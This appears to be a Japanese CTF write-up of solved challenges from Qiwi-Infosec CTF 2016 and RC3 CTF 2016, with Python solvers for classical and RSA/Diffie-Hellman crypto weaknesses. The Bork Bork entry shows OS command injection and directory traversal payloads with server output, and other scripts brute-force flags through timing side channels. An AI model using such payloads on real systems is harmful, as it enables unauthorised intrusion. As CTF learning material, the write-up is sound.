Qiwi-Infosec CTF-2016, RC3 CTF 2016 メモ

結果

Qiwi-Infosec CTF-2016
team: 0hM31JI
points: 1600
place: 72(/676)

RC3 CTF 2016
team: 0hM31JI
points: 2465
place: 76(/661)

解いた問題(Qiwi-Infosec CTF-2016)

javascript (Web 100)

javascript obfuscation (javascript難読化)
eval() を console.log() にするとデコード可能なタイプ
難読化されたJavaScriptコードを読む : document

j4v4scr1pt___0bfusc4t10n

PPC 100_2 (PPC 100)

ミラー–ラビン素数判定法(Miller–Rabin primality test)

import os
files = os.listdir(".\\encrypted")
flag = ""
for file in files:
	if is_probable_prime(int(file)):
		for line in open(".\\encrypted\\"+file):
			flag+=line
flag = flag.replace("\n","")
print(flag)
c93c0f30299130cde942fce8ec5dd0b3012dcfa478a4ab2314ee525098fb779e2812d6731d372bae6d71e220a6

Crypto 100_1 (Crypto 100)

ポリュビオスの暗号表(Polybius square)

  1 2 3 4 5
1 A B C D E
2 F G H I K
3 L M N O P
4 Q R S T U
5 V W X Y Z

・暗号化
例) B → 12
行列(ij)の順
・ADFGVX暗号に使われる

encrypted = """52112515_4535_331534
442315_321144422453_231143_543445
213431313452_442315_5223244415_411112122444
2533341325_2533341325_331534
442315_21311122_2443_442315_4423244214_31243315"""

def dec_polybius_square(encrypted):
    decrypted=""
    square=["abcde","fghik","lmnop","qrstu","vwxyz"]
    i = 0
    while i<len(encrypted):
        if encrypted[i].isdigit():
            decrypted+=square[int(encrypted[i])-1][int(encrypted[i+1])-1]
            i+=2
        else:
            decrypted+=encrypted[i]
            i+=1
    return decrypted

print dec_polybius_square(encrypted)
follow_the_white_rabbit

Crypto 300_1 (Crypto 300)

ディフィー・ヘルマン鍵共有(Diffie-Hellman key exchange、D-H)
・事前の秘密の共有なし
・盗聴の可能性のある通信路を使って
・暗号鍵の共有を可能にする
暗号プロトコル

3人ver

p = 8986158661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g = 6
a = 230
b = 250

# g^c
C = 5361617800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

K = pow(C, a*b, p) #g^abc
flag = str(K)[:20]
print(flag)
38058349620867258480

Crypto 300_2 (Crypto 300)

ディフィー・ヘルマン鍵共有
g^a<pの場合に発生する脆弱性

p= 6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824503042047
g= 9444732965739290427392
A= 842498333348457493583344221469363458551160763204392890034487820288 # g^a
B= 89202980794122492566142873090593446023921664 # g^b
import math
a = int( math.log(A,g) ) # 3
b = int( math.log(B,g) ) # 2
K = g**(a*b) % p
flag = str(K)[:20]
print(flag)

70980344169492860405

Crypto 300_3 (Crypto 300)

RSA暗号
m^e<pの場合に発生する脆弱性

c= 2044619806634581710230401748541393297937319 
n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143

import libnum
for e in range(2,10):
    m = libnum.nroot(c,e)
    if m**e==c:
        break

print "e:",e
print "m:",m
flag = libnum.n2s(m)
print flag

so_low

Crypto 400_1 (Crypto 400)

RSA暗号
同一平文の異なるnによる暗号文がe個得られる場合に発生する脆弱性
中国剰余定理(Chinese remainder theorem)で復号可能

n1 = 95118357989037539883272168746004652872958890562445814301889866663072352421703264985997800660075311645555799745426868343365321502734736006248007902409628540578635925559742217480797487130202747020211452620743021097565113059392504472785227154824117231077844444672393221838192941390309312484066647007469668558141
n2 = 98364165919251246243846667323542318022804234833677924161175733253689581393607346667895298253718184273532268982060905629399628154981918712070241451494491161470827737146176316011843738943427121602324208773653180782732999422869439588198318422451697920640563880777385577064913983202033744281727004289781821019463
n3 = 68827940939353189613090392226898155021742772897822438483545021944215812146809318686510375724064888705296373853398955093076663323001380047857809774866390083434272781362447147441422207967577323769812896038816586757242130224524828935043187315579523412439309138816335569845470021720847405857361000537204746060031
c1 = 64830446708169012766414587327568812421130434817526089146190136796461298592071238930384707543318390292451118980302805512151790248989622269362958718228298427212630272525186478627299999847489018400624400671876697708952447638990802345587381905407236935494271436960764899006430941507608152322588169896193268212007
c2 = 96907490717344346588432491603722312694208660334282964234487687654593984714144825656198180777872327279250667961465169799267405734431675111035362089729249995027326863099262522421206459400405230377631141132882997336829218810171728925087535674907455584557956801831447125486753515868079342148815961792481779375529
c3 = 43683874913011746530056103145445250281307732634045437486524605104639785469050499171640521477036470750903341523336599602288176611160637522568868391237689241446392699321910723235061180826945464649780373301028139049288881578234840739545000338202917678008269794179100732341269448362920924719338148857398181962112

import libnum
remainders = [c1,c2,c3]
modules = [n1,n2,n3]
x = libnum.solve_crt(remainders,modules)
m = libnum.nroot(x,3)
flag = libnum.n2s(m)
print flag
theoretical_computer_scientist_johan_torkel_hastad

解いた問題(RC3 CTF 2016)

Salad (Crypto 100)

シーザー暗号(Caesar cipher)

def rot(*symbols):
    def _rot(n):
        encoded = ''.join(sy[n:] + sy[:n] for sy in symbols)
        lookup = str.maketrans(''.join(symbols), encoded)
        return lambda s: s.translate(lookup)
    return _rot

encrypted="7sj-ighm-742q3w4t".upper()

import string
symbols = string.ascii_uppercase+string.digits

for i in range(len(symbols)):
    decrypted = rot(symbols)(i)(encrypted)
    print(decrypted)
RC3-2016-ROMANGOD

Calculus (Crypto 200)

独立変数を並べる
Antiderivative: 不定積分

RC3-2016-ANTIDERV

Cats (Crypto 300)

各フレームの猫の数
purr, meow: 猫の鳴き声

a = [14,9,1,20,23,15,5,13]
tmp = ""
for aa in a:
    tmp+=chr(ord("A")+aa-1)
print(tmp) #NIATWOEM
tmp = tmp[::-1] 
print(tmp) #MEOWTAIN
flag = "RC3-2016-"+tmp
print(flag)
RC3-2016-MEOWTAIN

goodtime (Misc 150)

入力がflagと先頭から一致していればいるほど、ターンアラウンドタイムが増える
ブルートフォース

import commands
import time
import string

symbols = string.digits + string.letters + '!#$%&()*+,-./:;<=>?@[]^_`{|}~'

def f(s,n):
    start = time.time()
    out = commands.getstatusoutput("echo '"+s+"' |  nc goodtime.ctf.rc3.club 5866") 
    for j in range(n-1):
        commands.getstatusoutput("echo '"+s+"' |  nc goodtime.ctf.rc3.club 5866") 
    tat = time.time()-start
    print s, ("%.2f" % tat), out
    return tat

flag = "RC3-2016-"

for i in range(50):
    d = {}
    for c in symbols:
        s = flag + c
        d[c] = f(s,1)
    l = sorted(d.items(), key=lambda x:-x[1])

    for c,tat in l[:5]:
        s = flag + c
        d[c] = f(s,3)
    l = sorted(d.items(), key=lambda x:-x[1])

    flag += l[0][0]
    print "flag:", flag
RC3-2016-itz-alw4yz-a-g00d-t1m1ng-@tt@ck

Kalaatu Barada N (Misc 300)

レスポンスが 136行 = 17文字 * 8bit
各文字の各bitがレスポンスの各行と対応している

import commands

d = {}
head = "RC3-2016-"
s = []

def f():
    global d,head,s
    out = commands.getstatusoutput("nc ctf.rc3.club 6050")[1]
    s = out.split("\n")

    # print len(s) # 136 = 17 * 8

    for i in range(len(head)):
        c = head[i]
        b = bin(ord(c))[2:].zfill(8)
        for j in range(8):
            idx = i*8+j
            d[s[idx]]=b[j]

def g():
    global d,head,s
    flag = "RC3-2016-"
    for i in range(len(head),17):
        b = ""
        for j in range(8):
            idx = i*8+j
            if s[idx] in d: b += d[s[idx]]
            else: return False
        flag += chr(int(b,2))
    print flag
    return True

while True:
    f()
    if g():break
RC3-2016-CHRLSD3D

Who's a good boy? (Web 100)

css の最後にflag

RC3-2016-CanineSS

Bork Bork (Web 300)

OSコマンドインジェクション & ディレクトリトラバーサル(Directory traversal)
複数のコマンドを実行したい時「;」「&」「&&」「||」を挟む

bork=aでsubmit

<iframe width="854" height="480" src="cat: borks/a: No such file or directory?autoplay=1&amp;loop=1" frameborder="0"></iframe>

bork=a&lsでsubmit

<iframe width="854" height="480" src="cat: borks/a: No such file or directory&#10;auto_bork.sh&#10;bork.ini&#10;bork.py&#10;bork.pyc&#10;borks&#10;bork.sock&#10;bork.txt&#10;static&#10;templates&#10;wsgi.py&#10;wsgi.pyc?autoplay=1&amp;loop=1" frameborder="0"></iframe>

bork=../bork.txtでsubmit

<iframe width="854" height="480" src="RC3-2016-L057d0g3?autoplay=1&amp;loop=1" frameborder="0"></iframe>
RC3-2016-L057d0g3

Some Pang (Forensics 50)

base64

dpkt
・パケットを作成・解析するpythonモジュール

import dpkt, socket

pcr = dpkt.pcap.Reader(open("somepang.pcap","rb"))

flag = ""
for ts, buf in pcr:
    eth = dpkt.ethernet.Ethernet(buf)
    ip = eth.data
    if socket.inet_ntoa(ip.src)=="192.168.1.198":continue
    icmp = ip.data
    data = icmp.data.data
    flag += data[-2:]

flag = flag.decode("base64")

f=open("flag.jpg","wb")
f.write(flag)
f.close()

f:id:minaminaoy:20161122191625j:plain

RC3-2016-PANG-ME-LIKE-ONE-OF-YOUR-FRENCH-GORILLAZ

My Lil Droid (Forensics 100)

apkファイル
Androidアプリのパッケージファイル
・zipとして展開可能

拡張子をzipにして展開
build-data.properties に UkMz-2016-R09URU0yMQ==

print "UkMzR09URU0yMQ==".decode("base64")
# RC3GOTEM21
RC3-2016-GOTEM21

Graphic Design (Forensics 200)

objファイル
・CGソフトの中間ファイル
・ASCIIデータ

テキストエディタで恐竜部分を消す
f:id:minaminaoy:20161122191910p:plain

RC3-2016-St3GG3rz

Dirty Birdy (Forensics 400)

GPG(GNU Privacy Guard,GnuPG)
GPLに基づいた暗号化ソフト

imgファイルを展開
secrefilesフォルダ以下において。

git cat-file -p (SHA1のハッシュ) でオブジェクトのコンテンツを見ることが可能

> git cat-file -p 78a8994d17a927b76c303dbe53c65a8fe8ed8fd8 > key

key

-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1

lQOYBFgvhQEBCADBDAKGkIMl6aIHl8Pb0xUR/Bo1AFYNIj1KMrt5q7s8DQF8lRBk
JlFs+Qu9OjXdO+Y1yDegU+0uTOX+NhhoUJJytTvQ8OaTZZWPq8q6ME3ej5KLUx6q
Dj7yoJ2mAZGYx/TAEquSv2S+TSNU20us2VyTPUnCYRBmkX+Qs8A+cA7UzGGGjDQ6
r609S0qEc6vD4UZgV985DOR/OKau86F6AFB7rpWGpZkAeTYXg/cvWvJL8l4cdMo9
WBGsZCuC0k5Bpl447ghEbxNxPJkmfGCf/FPcn7WsjoV2GjMC/4p1mYh82+7Msf8t
G1swIJxpIKgkZhUwA6tB043QqRmkxGR2YbU5ABEBAAEAB/0QWtRe8qDNxjaeNo8X
EVG8aZON0Ha525/+KICmDPTKoF5zH8zY8z8cQJgsQqF8Gf5Fqa3+xQV30fd9OzeD
pOnXUn/cEoCyVZ2fY6JD9mIufBLh/1t+dEEEfLOGdCUR4MTdPeevwcvG7JGU95Q4
c1zKs5tLXr5NNj/ssjHUCFnVUMq6bVAfNjBX9QvtQ7zwcyxnvkJKwGo2vp779bHT
zBg8SaAmOM5RdZfQVSS9bSsoYxrCLCe7ygjtWMEOw2I6Dxe3ioIi43S38u026mOc
O3zEJoT4EvP7Mwwfy/gTVKFLy4cV+zHdglic4yjpBMhcuLurJtPfDSgJ9WfQj2LV
B2jhBADeQa4OcQZK2bSUzX9yyysS8JNZNSJzQYnxXbscybHm90WNrwGEvvIQkKHJ
ClgnnEaN069XbCgdEpcx3RP/lHDuv0GiJ8BMg2Okeb0oxHO9KqZNsTZhyta93xor
1eqFX/Grt+uV3VsCK2d3ntAz5GNh85chX4ewffcrrXR63e8FyQQA3lsOGNp88hxV
sTF9CXXvL1NJ7BXLwmrRVf95v0HNSWucYr0YvZip3UqfgWxDPAntBp7hglufwYrR
peGGPbwZJbhkZ8y6agzQPtWX5h1wiy9fkC7lYBjn2alfaQ2j8Mb0tfr/5DChcEfJ
ElbOZuy/Zl5k0Iaw7Yk4Olg4gaOAq/ED+weKUktjvj7SkhtwF2pDXvhkzVSUzl/o
JnTqNrA9ePow14ilvrOtoBcRAfUd0e3Nn/k8q0Oi8/7kHWEBhqjq5jOtVEljKxN9
5S8zGvE/pla4f5RNYOUiAUBLIuM4fX7YcetE2ovw+0NFhWL6R1sKCU6YI8mDzn4M
Qt9txYQh2KLySiu0HVRodWdHIChsb2x6KSA8bm9wZUBnbWFpbC5jb20+iQE4BBMB
AgAiBQJYL4UBAhsDBgsJCAcDAgYVCAIJCgsEFgIDAQIeAQIXgAAKCRC9ixROj/32
1v0rCACWSh9iHZ0W7nDDWsfpDHtQl+w6Vv2PAB3yU0dz3Uk7VUqhMcM5ZHxNFlu2
ryOr/ja55z4qajBGM6h/iU/5lJGoc1LrrLClY9i7OmEoF28Dli4q4E4lnmgMElLM
vFZ612yVlK4AaH8tt8+sFr8MAGBtWcE2px5h7yxHt+V6Xe8YQvUOqnRm5y8yolHz
YkSWGcYZ6jv4QOr9z3Grxs8MYGqAn//TwlbNYDl0PzG10knqJdZsYvpK2jtpNHXM
vEx2LKmszliWa0YxuDwaSXLw46gBZ437ULi5mPWF0GOzEEQRnbBcjC/ozkLtEHL5
HDuMMByUMFmPSmoL7UjXy1Y3VJ5RnQHYBFgvhkoBBACz3CPJveT2cU6M0zSCU6YB
F16Lj6uLgz8z3MPav47tmdMu/igwneZHQMZM+Fa66ObVjVlUeOB9j1ICxwjJuvbg
3iDUZ+ljnW2pEQir0PN0+Y1swC/oJioDvjIKnPHI9nx4l7PApwDMrJLJv2rT3rWY
yXnqwyFZi2CJzx56PVT9kwARAQABAAP8DfWbh3hoEWKI7LAlxqm0XChSq7VKZKka
mi1bvBoa/0DtnZuXRfKzYTtbSLULkjUqWU+/q6k4Dza08Ec/XNzYdUkoMN3Hcw9t
ewEtPT2AXWKs/aOFh4vIRC0EDdxhPT47wIx5lOaoQDZrLa8wb3f97wIbXYHjqsx7
BCEaBuaOgYkCANNI2BlJS7IvPn/B7a+ya85sG6Vo5TnlFcFWO59LJML5m3C0BLIL
aPLuYUUnviDv99WIOV14oymmrVPioLaSU/sCANnsvsf0E3If0cj0FLwJWiVy/EYg
q29WEaHAQmylrdDD7OtNRdJszWh94De4fsg+0lldMMr9ASnlHR+Z9yQYMUkCAKia
DdtWz5PaTs9w39oJCUC0O0DU1MI3gl8iBeMPO660H/3dEqEpW+YfN0BRpv8WQn4q
NC/7c8KofJhC5MXInZqdSIkBHwQYAQIACQUCWC+GSgIbDAAKCRC9ixROj/321vCv
B/wPhP/7FuPR94o36Gzx7DncaJWRGWn37yoEzBdRFXanfJGSoaEJmBFa7sS82dtj
m9BfTdu2Y1V6VKT2UU6RVqcNQ6a5ikCysj2/8kSBO9AOlNkSd2tW5sbo8G9dlkK6
5Y5FBAxKDMIumQKsN/boFRk4xTah3UUBeD62CdrXsYOzUgLwc3HXBJcbiGHvhzIx
NuCCOUQqlSR7FU7okmmV5lFTfE2JJnw66jmYnTdG9b0IEQ4vOgCXw8wRH9fb2CFP
YN5KdgB28YuXm8Cpstd8JRUVz0JgSg9Vq2WiTVcqsalNOQY0EK1hS8Gl7+BqXmLd
bOMsAtIU8D68fbCXhp0VRNs5
=xRo0
-----END PGP PRIVATE KEY BLOCK-----
> gpg --import --allow-secret-key-import key
> gpg Workbook1.xlsx.gpg

Workbook1.xlsx(pass: password123)のsheet2にflag

RC3-2016-SNEAKY21

Logmein (Rev 100)

入力がflagと先頭から一致していればいるほど、strlenが呼び出される回数が増える
ブルートフォース

import commands

flag="RC3-2016-"
for i in range(len(flag), 17):
	for o in range(ord("A"), ord("Z")+1):
		c = chr(o)
		s = flag+c*(17-len(flag))
		out = commands.getstatusoutput("echo '"+s+"'| ltrace ./logmein")[1]
		if out.count("strlen")>=2*(i+3)-1:
			flag+=c
			break
print flag
RC3-2016-XORISGUD

What's your virus? (Trivia 20)

ILOVEYOU

Horse from Tinbucktu (Trivia 30)

Zeus

Love Bomb (Trivia 40)

Stuxnet

Infringing memes (Trivia 50)

PIPA